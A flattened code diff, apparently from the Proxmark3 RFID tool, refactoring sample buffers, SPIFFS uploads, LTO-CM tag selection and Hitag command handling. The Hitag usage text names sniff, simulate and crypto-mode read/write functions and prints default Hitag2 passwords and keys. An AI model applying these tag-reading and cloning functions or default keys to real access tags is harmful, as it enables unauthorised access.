// We can't erase the buffer now, it would drastically delay the acquisition
// BigBuf_Clear_ext(false);
if (sample_size == NULL || *sample_size == 0) { if (sample_size == NULL || *sample_size == 0) {
*sample_size = BigBuf_max_traceLen(); *sample_size = BigBuf_max_traceLen();
} else {
*sample_size = MIN(*sample_size, BigBuf_max_traceLen());
}
// use a bitstream to handle the output data.buffer = BigBuf_get_addr();
data.buffer = BigBuf_get_addr();
// We can't erase the buffer now, it would drastically delay the acquisition // We can't erase the buffer now, it would drastically delay the acquisition
// memset(data.buffer, 0, *sample_size); // memset(data.buffer, 0, *sample_size);
} else {
*sample_size = MIN(*sample_size, BigBuf_max_traceLen());
data.buffer = BigBuf_malloc(*sample_size);
// We can't erase the buffer now, it would drastically delay the acquisition
// memset(data.buffer, 0, *sample_size);
}
// //
samples.dec_counter = 0; samples.dec_counter = 0;
@ -129,6 +138,10 @@ uint32_t getSampleCounter() {
return samples.total_saved; return samples.total_saved;
} }
void logSampleSimple(uint8_t sample) {
logSample(sample, config.decimation, config.bits_per_sample, config.averaging);
}
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
if (!data.buffer) return; if (!data.buffer) return;

View file

@ -70,6 +70,7 @@ uint32_t DoAcquisition_config(bool verbose, uint32_t sample_size);
* Refactoring of lf sampling buffer * Refactoring of lf sampling buffer
*/ */
void initSampleBuffer(uint32_t *sample_size); void initSampleBuffer(uint32_t *sample_size);
void logSampleSimple(uint8_t sample);
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg); void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg);
uint32_t getSampleCounter(); uint32_t getSampleCounter();

View file

@ -314,11 +314,69 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) {
int ret_val = PM3_SUCCESS;
// We want to mount before multiple operation so the lazy writes/append will not
// trigger a mount + umount each loop iteration (lazy ops device side)
SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0);
// Send to device
uint32_t bytes_sent = 0;
uint32_t bytes_remaining = datalen;
uint32_t append = 0;
// fast push mode
conn.block_after_ACK = true;
while (bytes_remaining > 0) {
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
clearCommandBuffer();
char fdata[32 + bytes_in_packet];
memset(fdata, 0, sizeof(fdata));
memcpy(fdata, destfn, 32);
memcpy(fdata + 32, data + bytes_sent, bytes_in_packet);
if (bytes_sent > 0)
append = 1;
SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet);
bytes_remaining -= bytes_in_packet;
bytes_sent += bytes_in_packet;
PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply.");
ret_val = PM3_ETIMEOUT;
break;
}
uint8_t isok = resp.oldarg[0] & 0xFF;
if (!isok) {
PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent);
ret_val = PM3_EFLASH;
break;
}
}
// turn off fast push mode
conn.block_after_ACK = false;
// We want to unmount after these to set things back to normal but more than this
// unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory
SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0);
return ret_val;
}
static int CmdFlashMemSpiFFSLoad(const char *Cmd) { static int CmdFlashMemSpiFFSLoad(const char *Cmd) {
uint32_t append = 0;
char filename[FILE_PATH_SIZE] = {0}; char filename[FILE_PATH_SIZE] = {0};
char destfilename[32] = {0}; uint8_t destfilename[32] = {0};
bool errors = false; bool errors = false;
uint8_t cmdp = 0; uint8_t cmdp = 0;
@ -334,8 +392,8 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) {
cmdp += 2; cmdp += 2;
break; break;
case 'o': case 'o':
param_getstr(Cmd, cmdp + 1, destfilename, 32); param_getstr(Cmd, cmdp + 1, (char*)destfilename, 32);
if (strlen(destfilename) == 0) { if (strlen((char*)destfilename) == 0) {
PrintAndLogEx(FAILED, "Destination Filename missing or invalid"); PrintAndLogEx(FAILED, "Destination Filename missing or invalid");
errors = true; errors = true;
} }
@ -362,63 +420,14 @@ static int CmdFlashMemSpiFFSLoad(const char *Cmd) {
return PM3_EFILE; return PM3_EFILE;
} }
// We want to mount before multiple operation so the lazy writes/append will not res = flashmem_spiffs_load(destfilename, data, datalen);
// trigger a mount + umount each loop iteration (lazy ops device side)
SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0);
// Send to device
uint32_t bytes_sent = 0;
uint32_t bytes_remaining = datalen;
// fast push mode
conn.block_after_ACK = true;
// SendCommandMIX(CMD_SPIFFS_COPY, 0, 0, 0, (uint8_t *)data, 65);
while (bytes_remaining > 0) {
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
clearCommandBuffer();
char fdata[32 + bytes_in_packet];
memset(fdata, 0, sizeof(fdata));
memcpy(fdata, destfilename, 32);
memcpy(fdata + 32, data + bytes_sent, bytes_in_packet);
// sprintf(fdata, "%s%s", destfilename, data + bytes_sent);
if (bytes_sent > 0)
append = 1;
SendCommandOLD(CMD_SPIFFS_WRITE, append, bytes_in_packet, 0, fdata, 32 + bytes_in_packet);
bytes_remaining -= bytes_in_packet;
bytes_sent += bytes_in_packet;
PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) {
PrintAndLogEx(WARNING, "timeout while waiting for reply.");
conn.block_after_ACK = false;
free(data);
return PM3_ETIMEOUT;
}
uint8_t isok = resp.oldarg[0] & 0xFF;
if (!isok) {
conn.block_after_ACK = false;
PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent);
free(data);
return PM3_EFLASH;
}
}
conn.block_after_ACK = false;
free(data); free(data);
PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename);
// We want to unmount after these to set things back to normal but more than this if ( res == PM3_SUCCESS )
// unmouting ensure that SPIFFS CACHES are all flushed so our file is actually written on memory PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") "bytes to file "_GREEN_("%s"), datalen, destfilename);
SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0);
return PM3_SUCCESS; return res;
} }
static command_t CommandTable[] = { static command_t CommandTable[] = {

View file

@ -14,5 +14,6 @@
#include "common.h" #include "common.h"
int CmdFlashMemSpiFFS(const char *Cmd); int CmdFlashMemSpiFFS(const char *Cmd);
int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen);
#endif #endif

View file

@ -85,8 +85,6 @@ int CmdHFSearch(const char *Cmd) {
char cmdp = tolower(param_getchar(Cmd, 0)); char cmdp = tolower(param_getchar(Cmd, 0));
if (cmdp == 'h') return usage_hf_search(); if (cmdp == 'h') return usage_hf_search();
PrintAndLogEx(INFO, "Checking for known tags...");
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "Searching for ThinFilm tag..."); PrintAndLogEx(INPLACE, "Searching for ThinFilm tag...");
if (IfPm3NfcBarcode()) { if (IfPm3NfcBarcode()) {
@ -170,9 +168,8 @@ int CmdHFSearch(const char *Cmd) {
} }
PROMPT_CLEARLINE; PROMPT_CLEARLINE;
PrintAndLogEx(INPLACE, "done"); PrintAndLogEx(INPLACE, _RED_("No known/supported 13.56 MHz tags found"));
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(FAILED, _RED_("No known/supported 13.56 MHz tags found"));
return PM3_ESOFT; return PM3_ESOFT;
} }
@ -272,15 +269,16 @@ static command_t CommandTable[] = {
{"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"}, {"15", CmdHF15, AlwaysAvailable, "{ ISO15693 RFIDs... }"},
{"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"}, {"epa", CmdHFEPA, AlwaysAvailable, "{ German Identification Card... }"},
{"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"}, {"felica", CmdHFFelica, AlwaysAvailable, "{ ISO18092 / Felica RFIDs... }"},
{"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"}, {"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"},
{"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"}, {"iclass", CmdHFiClass, AlwaysAvailable, "{ ICLASS RFIDs... }"},
{"legic", CmdHFLegic, AlwaysAvailable, "{ LEGIC RFIDs... }"},
{"lto", CmdHFLTO, AlwaysAvailable, "{ LTO Cartridge Memory RFIDs... }"},
{"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"}, {"mf", CmdHFMF, AlwaysAvailable, "{ MIFARE RFIDs... }"},
{"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"}, {"mfp", CmdHFMFP, AlwaysAvailable, "{ MIFARE Plus RFIDs... }"},
{"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"}, {"mfu", CmdHFMFUltra, AlwaysAvailable, "{ MIFARE Ultralight RFIDs... }"},
{"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"}, {"mfdes", CmdHFMFDes, AlwaysAvailable, "{ MIFARE Desfire RFIDs... }"},
{"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"},
{"fido", CmdHFFido, AlwaysAvailable, "{ FIDO and FIDO2 authenticators... }"},
{"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"}, {"thinfilm", CmdHFThinfilm, AlwaysAvailable, "{ Thinfilm RFIDs... }"},
{"topaz", CmdHFTopaz, AlwaysAvailable, "{ TOPAZ (NFC Type 1) RFIDs... }"},
{"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"}, {"list", CmdTraceList, AlwaysAvailable, "List protocol data in trace buffer"},
{"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"}, {"plot", CmdHFPlot, IfPm3Hfplot, "Plot signal"},
{"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"}, {"tune", CmdHFTune, IfPm3Present, "Continuously measure HF antenna tuning"},

View file

@ -2805,6 +2805,7 @@ int readIclass(bool loop, bool verbose) {
FLAG_ICLASS_READER_CONF | FLAG_ICLASS_READER_ONLY_ONCE | FLAG_ICLASS_READER_CONF | FLAG_ICLASS_READER_ONLY_ONCE |
FLAG_ICLASS_READER_ONE_TRY; FLAG_ICLASS_READER_ONE_TRY;
uint32_t res = PM3_ETIMEOUT;
// loop in client not device - else on windows have a communication error // loop in client not device - else on windows have a communication error
while (!kbd_enter_pressed()) { while (!kbd_enter_pressed()) {
@ -2876,6 +2877,6 @@ int readIclass(bool loop, bool verbose) {
if (!loop) break; if (!loop) break;
} }
DropField(); DropField();
return PM3_SUCCESS; return res;
} }

View file

@ -1101,10 +1101,10 @@ void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) {
snprintf(exp, size, "REQ Standard"); snprintf(exp, size, "REQ Standard");
break; break;
case LTO_SELECT: case LTO_SELECT:
snprintf(exp, size, "SELECT"); if (cmd[1] == 0x70)
break; snprintf(exp, size, "SELECT_UID-2");
case LTO_SELECT_1: else if (cmd[1] == 0x20)
snprintf(exp, size, "SELECT_1"); snprintf(exp, size, "SELECT");
break; break;
case LTO_REQ_ALL: case LTO_REQ_ALL:
snprintf(exp, size, "REQ All"); snprintf(exp, size, "REQ All");

View file

@ -42,9 +42,17 @@ static void lto_switch_on_field(void) {
} }
// send a raw LTO-CM command, returns the length of the response (0 in case of error) // send a raw LTO-CM command, returns the length of the response (0 in case of error)
static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool verbose) { static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool addcrc, bool verbose) {
SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, len, 0, cmd, len); uint64_t arg0 = ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS;
uint32_t arg1 = (len == 1) ? (7 << 16) : 0;
arg1 |= len;
if (addcrc) {
arg0 |= ISO14A_APPEND_CRC;
}
SendCommandOLD(CMD_HF_ISO14443A_READER, arg0, arg1, 0, cmd, len);
PacketResponseNG resp; PacketResponseNG resp;
if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) {
@ -55,7 +63,6 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16
if (resp.oldarg[0] == *response_len) { if (resp.oldarg[0] == *response_len) {
*response_len = resp.oldarg[0]; *response_len = resp.oldarg[0];
PrintAndLogEx(INFO, "%s", sprint_hex(resp.data.asBytes, *response_len));
if (*response_len > 0) { if (*response_len > 0) {
memcpy(response, resp.data.asBytes, *response_len); memcpy(response, resp.data.asBytes, *response_len);
} }
@ -66,7 +73,6 @@ static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16
return PM3_SUCCESS; return PM3_SUCCESS;
} }
// select a LTO-CM tag. Send WUPA and RID. // select a LTO-CM tag. Send WUPA and RID.
static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) { static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) {
// Todo: implement anticollision // Todo: implement anticollision
@ -75,26 +81,27 @@ static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) {
uint16_t resp_len; uint16_t resp_len;
uint8_t wupa_cmd[] = {LTO_REQ_STANDARD}; uint8_t wupa_cmd[] = {LTO_REQ_STANDARD};
uint8_t select_cmd[] = {LTO_SELECT, 0x20}; uint8_t select_cmd[] = {LTO_SELECT, 0x20};
uint8_t select_1_cmd[] = {LTO_SELECT_1, 0x70, 0, 0, 0, 0, 0}; uint8_t select_1_cmd[] = {LTO_SELECT, 0x70, 0, 0, 0, 0, 0};
lto_switch_on_field(); lto_switch_on_field();
resp_len = 2; resp_len = 2;
int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), resp, &resp_len, verbose); int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), resp, &resp_len, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { if (status == PM3_ETIMEOUT || status == PM3_ESOFT) {
lto_switch_off_field(); lto_switch_off_field();
return PM3_ESOFT; // WUPA failed return PM3_ESOFT; // WUPA failed
} }
resp_len = id_len; resp_len = id_len;
status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), id_response, &resp_len, verbose); status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), id_response, &resp_len, false, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { if (status == PM3_ETIMEOUT || status == PM3_ESOFT) {
lto_switch_off_field(); lto_switch_off_field();
return PM3_EWRONGANSVER; // SELECT failed return PM3_EWRONGANSVER; // SELECT failed
} }
memcpy(select_1_cmd + 2, id_response, sizeof(select_1_cmd) - 2);
resp_len = 1; resp_len = 1;
status = lto_send_cmd_raw(select_1_cmd, sizeof(select_1_cmd), resp, &resp_len, verbose); status = lto_send_cmd_raw(select_1_cmd, sizeof(select_1_cmd), resp, &resp_len, true, verbose);
if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) {
lto_switch_off_field(); lto_switch_off_field();
return PM3_EWRONGANSVER; // SELECT failed return PM3_EWRONGANSVER; // SELECT failed
@ -104,7 +111,6 @@ static int lto_select(uint8_t *id_response, uint8_t id_len, bool verbose) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int CmdHfLTOInfo(const char *Cmd) { static int CmdHfLTOInfo(const char *Cmd) {
uint8_t cmdp = 0; uint8_t cmdp = 0;
@ -126,7 +132,7 @@ static int CmdHfLTOInfo(const char *Cmd) {
return PM3_EINVARG; return PM3_EINVARG;
} }
return infoLTO(true); return infoLTO(false);
} }
int infoLTO(bool verbose) { int infoLTO(bool verbose) {
@ -134,18 +140,20 @@ int infoLTO(bool verbose) {
clearCommandBuffer(); clearCommandBuffer();
uint8_t serial_number[5]; uint8_t serial_number[5];
uint8_t serial_len = 0; uint8_t serial_len = sizeof(serial_number);
int ret_val = lto_select(serial_number, serial_len, verbose); int ret_val = lto_select(serial_number, serial_len, verbose);
lto_switch_off_field(); lto_switch_off_field();
/*
-- "hf 14a raw -a -p -b 7 45" if (ret_val == PM3_SUCCESS) {
-- "hf 14a raw -c -p 9320" PrintAndLogEx(NORMAL, "");
-- "hf 14a raw -c -p 9370%s", serial_number PrintAndLogEx(SUCCESS, " UID : " _YELLOW_("%s"), sprint_hex_inrow(serial_number, sizeof(serial_number)));
-- "disconnect" PrintAndLogEx(SUCCESS, "TYPE : ");
// todo: add printing of all configuration
} else {
if (verbose) PrintAndLogEx(WARNING, "LTO-CM card select failed");
}
/* read block:
SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0);
PacketResponseNG resp; PacketResponseNG resp;

View file

@ -339,7 +339,7 @@ int CmdLFCommandRead(const char *Cmd) {
// bitbang mode // bitbang mode
if (payload.delay == 0) { if (payload.delay == 0) {
if (payload.zeros < 7 || payload.ones < 7) { if (payload.zeros < 7 || payload.ones < 7) {
PrintAndLogEx(WARNING, "Warning periods cannot be less than 7us in bit bang mode"); PrintAndLogEx(WARNING, "warning periods cannot be less than 7us in bit bang mode");
return PM3_EINVARG; return PM3_EINVARG;
} }
} }
@ -347,15 +347,14 @@ int CmdLFCommandRead(const char *Cmd) {
//Validations //Validations
if (errors || cmdp == 0) return usage_lf_cmdread(); if (errors || cmdp == 0) return usage_lf_cmdread();
PrintAndLogEx(SUCCESS, "Sending"); PrintAndLogEx(SUCCESS, "sending");
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, 8 + datalen); SendCommandNG(CMD_LF_MOD_THEN_ACQ_RAW_ADC, (uint8_t *)&payload, 8 + datalen);
printf("\n");
PacketResponseNG resp; PacketResponseNG resp;
uint8_t i = 10; uint8_t i = 10;
// 20sec wait loop
while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) { while (!WaitForResponseTimeout(CMD_LF_MOD_THEN_ACQ_RAW_ADC, &resp, 2000) && i != 0) {
printf("."); printf(".");
fflush(stdout); fflush(stdout);
@ -365,15 +364,15 @@ int CmdLFCommandRead(const char *Cmd) {
if (resp.status == PM3_SUCCESS) { if (resp.status == PM3_SUCCESS) {
if (i) { if (i) {
PrintAndLogEx(SUCCESS, "Downloading response signal data"); PrintAndLogEx(SUCCESS, "downloading response signal data");
getSamples(0, false); getSamples(0, true);
return PM3_SUCCESS; return PM3_SUCCESS;
} else { } else {
PrintAndLogEx(WARNING, "timeout while waiting for reply."); PrintAndLogEx(WARNING, "timeout while waiting for reply.");
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
} }
PrintAndLogEx(WARNING, "Command failed."); PrintAndLogEx(WARNING, "command failed.");
return PM3_ESOFT; return PM3_ESOFT;
} }
@ -1214,17 +1213,18 @@ int CmdLFfind(const char *Cmd) {
// only run these tests if device is online // only run these tests if device is online
if (isOnline) { if (isOnline) {
if (IfPm3Hitag()) {
if (readHitagUid()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!");
return PM3_SUCCESS;
}
}
// only run if graphbuffer is just noise as it should be for hitag // only run if graphbuffer is just noise as it should be for hitag
// The improved noise detection will find Cotag. // The improved noise detection will find Cotag.
if (getSignalProperties()->isnoise) { if (getSignalProperties()->isnoise) {
if (IfPm3Hitag()) {
if (readHitagUid()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Hitag") "found!");
return PM3_SUCCESS;
}
}
if (readMotorolaUid()) { if (readMotorolaUid()) {
PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!"); PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("Motorola FlexPass ID") "found!");
return PM3_SUCCESS; return PM3_SUCCESS;

View file

@ -18,6 +18,7 @@
#include "commonutil.h" #include "commonutil.h"
#include "hitag.h" #include "hitag.h"
#include "fileutils.h" // savefile #include "fileutils.h" // savefile
#include "protocols.h" // defines
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
@ -35,7 +36,7 @@ static int usage_hitag_sniff(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag sniff"); PrintAndLogEx(NORMAL, " lf hitag sniff");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_sim(void) { static int usage_hitag_sim(void) {
PrintAndLogEx(NORMAL, "Simulate " _YELLOW_("Hitag2 / HitagS")" transponder"); PrintAndLogEx(NORMAL, "Simulate " _YELLOW_("Hitag2 / HitagS")" transponder");
@ -49,7 +50,7 @@ static int usage_hitag_sim(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag sim 2 b lf-hitag-dump"); PrintAndLogEx(NORMAL, " lf hitag sim 2 b lf-hitag-dump");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_info(void) { static int usage_hitag_info(void) {
PrintAndLogEx(NORMAL, "Usage: lf hitag info [h] p <pwd>"); PrintAndLogEx(NORMAL, "Usage: lf hitag info [h] p <pwd>");
@ -58,7 +59,7 @@ static int usage_hitag_info(void) {
PrintAndLogEx(NORMAL, " p <pwd> password"); PrintAndLogEx(NORMAL, " p <pwd> password");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag info"); PrintAndLogEx(NORMAL, " lf hitag info");
return 0; return PM3_SUCCESS;
} }
/* /*
static int usage_hitag_dump(void) { static int usage_hitag_dump(void) {
@ -71,7 +72,7 @@ static int usage_hitag_dump(void) {
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag dump f mydump"); PrintAndLogEx(NORMAL, " lf hitag dump f mydump");
PrintAndLogEx(NORMAL, " lf hitag dump p 4D494B52 f mydump"); PrintAndLogEx(NORMAL, " lf hitag dump p 4D494B52 f mydump");
return 0; return PM3_SUCCESS;
} }
*/ */
static int usage_hitag_reader(void) { static int usage_hitag_reader(void) {
@ -85,12 +86,12 @@ static int usage_hitag_reader(void) {
PrintAndLogEx(NORMAL, " Hitag1 (1*)"); PrintAndLogEx(NORMAL, " Hitag1 (1*)");
PrintAndLogEx(NORMAL, " Not implemented"); PrintAndLogEx(NORMAL, " Not implemented");
PrintAndLogEx(NORMAL, " Hitag2 (2*)"); PrintAndLogEx(NORMAL, " Hitag2 (2*)");
PrintAndLogEx(NORMAL, " 21 <password> Read all pages, password mode. Default: 4D494B52 (\"MIKR\")"); PrintAndLogEx(NORMAL, " 21 <password> Read all pages, password mode. Default: " _YELLOW_("4D494B52") "(\"MIKR\")");
PrintAndLogEx(NORMAL, " 22 <nr> <ar> Read all pages, challenge mode"); PrintAndLogEx(NORMAL, " 22 <nr> <ar> Read all pages, challenge mode");
PrintAndLogEx(NORMAL, " 23 <key> Read all pages, crypto mode. Key format: ISK high + ISK low. Default: 4F4E4D494B52 (\"ONMIKR\")"); PrintAndLogEx(NORMAL, " 23 <key> Read all pages, crypto mode. Key format: ISK high + ISK low. Default: " _YELLOW_("4F4E4D494B52") "(\"ONMIKR\")");
PrintAndLogEx(NORMAL, " 25 Test recorded authentications"); PrintAndLogEx(NORMAL, " 25 Test recorded authentications");
PrintAndLogEx(NORMAL, " 26 Just read UID"); PrintAndLogEx(NORMAL, " 26 Just read UID");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_writer(void) { static int usage_hitag_writer(void) {
PrintAndLogEx(NORMAL, "Hitag writer functions"); PrintAndLogEx(NORMAL, "Hitag writer functions");
@ -106,7 +107,7 @@ static int usage_hitag_writer(void) {
PrintAndLogEx(NORMAL, " 24 <key> <page> <byte0...byte3> Write page, crypto mode. Key format: ISK high + ISK low."); PrintAndLogEx(NORMAL, " 24 <key> <page> <byte0...byte3> Write page, crypto mode. Key format: ISK high + ISK low.");
PrintAndLogEx(NORMAL, " Default: 4F4E4D494B52 (\"ONMIKR\"). Set key=0 for no auth"); PrintAndLogEx(NORMAL, " Default: 4F4E4D494B52 (\"ONMIKR\"). Set key=0 for no auth");
PrintAndLogEx(NORMAL, " 27 <password> <page> <byte0...byte3> Write page, password mode. Default: 4D494B52 (\"MIKR\")"); PrintAndLogEx(NORMAL, " 27 <password> <page> <byte0...byte3> Write page, password mode. Default: 4D494B52 (\"MIKR\")");
return 0; return PM3_SUCCESS;
} }
static int usage_hitag_checkchallenges(void) { static int usage_hitag_checkchallenges(void) {
PrintAndLogEx(NORMAL, "Check challenges, load a file with save hitag crypto challenges and test them all."); PrintAndLogEx(NORMAL, "Check challenges, load a file with save hitag crypto challenges and test them all.");
@ -119,19 +120,19 @@ static int usage_hitag_checkchallenges(void) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, "Examples:");
PrintAndLogEx(NORMAL, " lf hitag cc f lf-hitag-challenges"); PrintAndLogEx(NORMAL, " lf hitag cc f lf-hitag-challenges");
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagList(const char *Cmd) { static int CmdLFHitagList(const char *Cmd) {
(void)Cmd; // Cmd is not used so far (void)Cmd; // Cmd is not used so far
CmdTraceList("hitag"); CmdTraceList("hitag2");
return 0; return PM3_SUCCESS;
/* /*
uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); uint8_t *got = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t));
if (!got) { if (!got) {
PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); PrintAndLogEx(WARNING, "Cannot allocate memory for trace");
return 2; return PM3_EMALLOC;
} }
// Query for the actual size of the trace // Query for the actual size of the trace
@ -139,7 +140,7 @@ static int CmdLFHitagList(const char *Cmd) {
if (!GetFromDevice(BIG_BUF, got, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 2500, false)) { if (!GetFromDevice(BIG_BUF, got, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 2500, false)) {
PrintAndLogEx(WARNING, "command execution time out"); PrintAndLogEx(WARNING, "command execution time out");
free(got); free(got);
return 2; return PM3_ETIMEOUT;
} }
uint16_t traceLen = response.arg[2]; uint16_t traceLen = response.arg[2];
@ -148,13 +149,13 @@ static int CmdLFHitagList(const char *Cmd) {
if (p == NULL) { if (p == NULL) {
PrintAndLogEx(WARNING, "Cannot allocate memory for trace"); PrintAndLogEx(WARNING, "Cannot allocate memory for trace");
free(got); free(got);
return 2; return PM3_EMALLOC;
} }
got = p; got = p;
if (!GetFromDevice(BIG_BUF, got, traceLen, 0, NULL, 0, NULL, 2500, false)) { if (!GetFromDevice(BIG_BUF, got, traceLen, 0, NULL, 0, NULL, 2500, false)) {
PrintAndLogEx(WARNING, "command execution time out"); PrintAndLogEx(WARNING, "command execution time out");
free(got); free(got);
return 2; return PM3_ETIMEOUT;
} }
} }
@ -251,7 +252,7 @@ static int CmdLFHitagList(const char *Cmd) {
} }
free(got); free(got);
return 0; return PM3_SUCCES;
*/ */
} }
@ -262,7 +263,7 @@ static int CmdLFHitagSniff(const char *Cmd) {
clearCommandBuffer(); clearCommandBuffer();
SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0); SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0);
return 0; return PM3_SUCCESS;
} }
static int CmdLFHitagSim(const char *Cmd) { static int CmdLFHitagSim(const char *Cmd) {
@ -343,7 +344,7 @@ static int CmdLFHitagSim(const char *Cmd) {
} }
free(data); free(data);
return 0; return PM3_SUCCESS;
} }
static void printHitagConfiguration(uint8_t config) { static void printHitagConfiguration(uint8_t config) {
@ -483,21 +484,20 @@ static int CmdLFHitagInfo(const char *Cmd) {
// read UID // read UID
uint32_t uid = 0; uint32_t uid = 0;
if (getHitagUid(&uid) == false) if (getHitagUid(&uid) == false)
return 1; return PM3_ESOFT;
PrintAndLogEx(SUCCESS, "UID: %08X", uid); PrintAndLogEx(SUCCESS, "UID: " _YELLOW_("%08X"), uid);
// how to detemine Hitag types? // how to detemine Hitag types?
// read block3, get configuration byte. // read block3, get configuration byte.
PrintAndLogEx(FAILED, _RED_("TODO: This is a hardcoded example!"));
// common configurations. // common configurations.
printHitagConfiguration(0x06); // printHitagConfiguration(0x06);
//printHitagConfiguration( 0x0E ); //printHitagConfiguration( 0x0E );
//printHitagConfiguration( 0x02 ); //printHitagConfiguration( 0x02 );
//printHitagConfiguration( 0x00 ); //printHitagConfiguration( 0x00 );
